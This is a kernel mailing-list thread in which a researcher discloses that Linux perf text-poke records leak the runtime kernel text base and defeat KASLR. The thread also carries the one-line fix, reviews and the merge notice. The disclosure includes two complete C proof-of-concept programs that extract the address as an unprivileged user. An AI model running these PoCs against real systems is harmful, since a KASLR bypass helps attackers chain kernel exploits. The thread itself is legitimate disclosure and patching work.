perf/core: Text-poke events expose the kernel text base
Subsystems (2)
cover perf/core: Text-poke events expose the kernel text base
Hi,
I found and validated a kernel address disclosure through perf's text-poke sideband. At the upstream default perf_event_paranoid=2, an unprivileged user can open a task-local PERF_COUNT_SW_DUMMY event with exclude_kernel=1 and text_poke=1, then mmap its ring buffer. PERF_RECORD_TEXT_POKE records contain raw relocated kernel instruction addresses, revealing the runtime kernel text base for a known image despite KASLR.
A disabled, count-only PERF_TYPE_TRACEPOINT event can trigger the leak:
registering its first perf consumer updates an inline static call, and the observer receives the resulting text-poke record. Numeric tracepoint IDs can be scanned without tracefs access. A UDP GRO static-call update independently triggers the same disclosure, so restricting tracepoint registration would leave the underlying leak open.
The first minimized x86_64 PoC scans tracepoint IDs instead of assuming a fixed ID. Run both PoCs as an unprivileged user with perf_event_paranoid=2.
------BEGIN poc1------
#define _GNU_SOURCE
#include <linux/perf_event.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#define DATA_PAGES 8
#define MAX_ID 65535
struct text_poke {
struct perf_event_header header;
uint64_t addr;
uint16_t old_len;
uint16_t new_len;
};
static int perf_open(uint32_t type, uint64_t config, int disabled,
int text_poke)
{
struct perf_event_attr attr = {
.type = type,
.size = sizeof(attr),
.config = config,
.sample_period = text_poke,
.wakeup_events = 1,
.disabled = disabled,
.exclude_kernel = 1,
.text_poke = text_poke,
};return syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0);
}
int main(void)
{
long page_size = sysconf(_SC_PAGESIZE);
struct perf_event_mmap_page *meta;
unsigned char *data;
uint64_t head, tail;
unsigned int id;
int observer; observer = perf_open(PERF_TYPE_SOFTWARE,
PERF_COUNT_SW_DUMMY, 0, 1);
if (observer < 0) {
perror("observer perf_event_open");
return 1;
}
meta = mmap(NULL, (DATA_PAGES + 1) * page_size,
PROT_READ | PROT_WRITE, MAP_SHARED, observer, 0);
if (meta == MAP_FAILED) {
perror("mmap");
return 1;
}
data = (unsigned char *)meta + page_size;
for (id = 1; id <= MAX_ID; id++) {
uint64_t before = __atomic_load_n(&meta->data_head,
__ATOMIC_ACQUIRE);
int trigger = perf_open(PERF_TYPE_TRACEPOINT,
id, 1, 0);
if (trigger < 0)
continue;
head = __atomic_load_n(&meta->data_head,
__ATOMIC_ACQUIRE);
if (head != before)
break;
close(trigger);
}
if (id > MAX_ID)
return 2;
tail = meta->data_tail;
while (tail < head) {
struct text_poke *record = (void *)(data +
(tail & (meta->data_size - 1)));
if (record->header.type == PERF_RECORD_TEXT_POKE) {
printf("id=%u text_poke_address=%#llx\n", id,
(unsigned long long)record->addr);
return 0;
}
tail += record->header.size;
}
return 3;}
------END poc1------
The second PoC triggers a static-call update by configuring UDP GRO and ESP-in-UDP on an IPv4 UDP socket.
------BEGIN poc2------
#define _GNU_SOURCE
#include <linux/perf_event.h>
#include <linux/udp.h>
#include <netinet/in.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <unistd.h>
#define DATA_PAGES 8
struct text_poke {
struct perf_event_header header;
uint64_t addr;
uint16_t old_len;
uint16_t new_len;
};
int main(void)
{
struct perf_event_attr attr = {
.type = PERF_TYPE_SOFTWARE,
.size = sizeof(attr),
.config = PERF_COUNT_SW_DUMMY,
.sample_period = 1,
.wakeup_events = 1,
.exclude_kernel = 1,
.text_poke = 1,
};
long page_size = sysconf(_SC_PAGESIZE);
struct perf_event_mmap_page *meta;
unsigned char *data;
uint64_t head, tail;
int one = 1, encap = UDP_ENCAP_ESPINUDP;
int observer, sock; observer = syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0);
if (observer < 0) {
perror("observer perf_event_open");
return 1;
}
meta = mmap(NULL, (DATA_PAGES + 1) * page_size,
PROT_READ | PROT_WRITE, MAP_SHARED, observer, 0);
if (meta == MAP_FAILED) {
perror("mmap");
return 1;
}
data = (unsigned char *)meta + page_size;
sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock < 0 ||
setsockopt(sock, IPPROTO_UDP, UDP_GRO, &one, sizeof(one)) ||
setsockopt(sock, IPPROTO_UDP, UDP_ENCAP,
&encap, sizeof(encap))) {
perror("UDP setup");
return 1;
}
head = __atomic_load_n(&meta->data_head, __ATOMIC_ACQUIRE);
tail = meta->data_tail;
while (tail < head) {
struct text_poke *record = (void *)(data +
(tail & (meta->data_size - 1)));
if (record->header.type == PERF_RECORD_TEXT_POKE) {
printf("text_poke_address=%#llx\n",
(unsigned long long)record->addr);
return 0;
}
tail += record->header.size;
}
return 2;}
------END poc2------
I reproduced the leak through both triggers as an unprivileged user on a kernel built from Torvalds' v7.3-rc5.
Zhengchuan Liang (1):
perf/core: Require kernel access for text poke events
kernel/events/core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
Signature · 1 line
2.34.1
PATCH 1/1 perf/core: Require kernel access for text poke events
Perf events with exclude_kernel=1 can be opened without kernel perf access. However, exclude_kernel does not suppress text-poke sideband records. Every PERF_RECORD_TEXT_POKE is marked PERF_RECORD_MISC_KERNEL and contains a raw kernel instruction address.
An unprivileged task can therefore open and mmap a task-local software event with text_poke=1. Both opening a count-only tracepoint event and configuring UDP GRO for ESP-in-UDP cause updates to inline static calls; the observer receives the relocated addresses of the modified instructions. For a known kernel image, any such address reveals the runtime kernel text base despite KASLR.
Call perf_allow_kernel() whenever attr.text_poke is set, regardless of exclude_kernel. Events that neither monitor kernel execution nor request text-poke records retain their existing permissions.
--- kernel/events/core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
kernel/events/core.c +1 -1
@@ -13953,7 +13953,7 @@ SYSCALL_DEFINE5(perf_event_open,if (err)return err; -if (!attr.exclude_kernel || +if (!attr.exclude_kernel || attr.text_poke || ((attr.sample_type &PERF_SAMPLE_CALLCHAIN ) && !attr.exclude_callchain_kernel)) { err =perf_allow_kernel ();
Signature · 1 line
2.34.1
[email protected]
AI reviewRe: [PATCH 1/1] perf/core: Require kernel access for text poke events
Sashiko has reviewed this patch and found no issues. It looks great!
Quoted 12 lines
Perf events with exclude_kernel=1 can be opened without kernel perf access. However,
exclude_kerneldoes not suppress text-poke sideband records. EveryPERF_RECORD_TEXT_POKEis markedPERF_RECORD_MISC_KERNELand contains a raw kernel instruction address.An unprivileged task can therefore open and mmap a task-local software event with text_poke=1. Both opening a count-only tracepoint event and configuring UDP GRO for ESP-in-UDP cause updates to inline static calls; the observer receives the relocated addresses of the modified instructions. For a known kernel image, any such address reveals the runtime kernel text base despite KASLR.
Quoted 8 lines
Call
perf_allow_kernel()whenever attr.text_poke is set, regardless ofexclude_kernel. Events that neither monitor kernel execution nor request text-poke records retain their existing permissions.Fixes e17d43b93e54 ("perf: Add perf text poke event")Assisted-by LLMSigned-off-by Zhengchuan Liang <[email protected]>
Sashiko has reviewed this patch and found no issues. It looks great!
Signature · 1 line
Sashiko AI review · https://sashiko.dev/#/patchset/[email protected]?part=1
Peter Zijlstra
maintainerRe: [PATCH 1/1] perf/core: Require kernel access for text poke events
In reply to Zhengchuan LiangQuoted 12 lines · Zhengchuan Liang
Perf events with exclude_kernel=1 can be opened without kernel perf access. However,
exclude_kerneldoes not suppress text-poke sideband records. EveryPERF_RECORD_TEXT_POKEis markedPERF_RECORD_MISC_KERNELand contains a raw kernel instruction address.An unprivileged task can therefore open and mmap a task-local software event with text_poke=1. Both opening a count-only tracepoint event and configuring UDP GRO for ESP-in-UDP cause updates to inline static calls; the observer receives the relocated addresses of the modified instructions. For a known kernel image, any such address reveals the runtime kernel text base despite KASLR.
Quoted 8 lines
Call
perf_allow_kernel()whenever attr.text_poke is set, regardless ofexclude_kernel. Events that neither monitor kernel execution nor request text-poke records retain their existing permissions.Fixes e17d43b93e54 ("perf: Add perf text poke event")Assisted-by LLMSigned-off-by Zhengchuan Liang <[email protected]>
Nice one. Thanks!
Quoted 18 lines
kernel/events/core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)kernel/events/core.c +1
-1@@ -13953,7 +13953,7 @@ SYSCALL_DEFINE5(perf_event_open,if (err)return err; -if (!attr.exclude_kernel || +if (!attr.exclude_kernel || attr.text_poke || ((attr.sample_type &PERF_SAMPLE_CALLCHAIN ) && !attr.exclude_callchain_kernel)) { err =perf_allow_kernel ();Signature · 1 line
2.34.1
[tip: perf/urgent] perf: Require kernel access for text poke events
In reply to Zhengchuan LiangThe following commit has been merged into the perf/urgent branch of tip:
The following commit has been merged into the perf/urgent branch of tip:
Commit-ID: 357e8a77a501d96c9517f01f4a211eed5e9c9184 Gitweb: https://git.kernel.org/tip/357e8a77a501d96c9517f01f4a211eed5e9c9184 Author: Zhengchuan Liang <[email protected]> AuthorDate: Mon, 28 Sep 2026 10:59:35 -07:00 Committer: Peter Zijlstra <[email protected]> CommitterDate: Thu, 01 Oct 2026 14:02:06 +02:00
perf: Require kernel access for text poke events
Perf events with exclude_kernel=1 can be opened without kernel perf access. However, exclude_kernel does not suppress text-poke sideband records. Every PERF_RECORD_TEXT_POKE is marked PERF_RECORD_MISC_KERNEL and contains a raw kernel instruction address.
An unprivileged task can therefore open and mmap a task-local software event with text_poke=1. Both opening a count-only tracepoint event and configuring UDP GRO for ESP-in-UDP cause updates to inline static calls; the observer receives the relocated addresses of the modified instructions. For a known kernel image, any such address reveals the runtime kernel text base despite KASLR.
Call perf_allow_kernel() whenever attr.text_poke is set, regardless of exclude_kernel. Events that neither monitor kernel execution nor request text-poke records retain their existing permissions.
--- kernel/events/core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
kernel/events/core.c +1 -1
@@ -13906,7 +13906,7 @@ SYSCALL_DEFINE5(perf_event_open,if (err)return err; -if (!attr.exclude_kernel || +if (!attr.exclude_kernel || attr.text_poke || ((attr.sample_type &PERF_SAMPLE_CALLCHAIN ) && !attr.exclude_callchain_kernel)) { err =perf_allow_kernel ();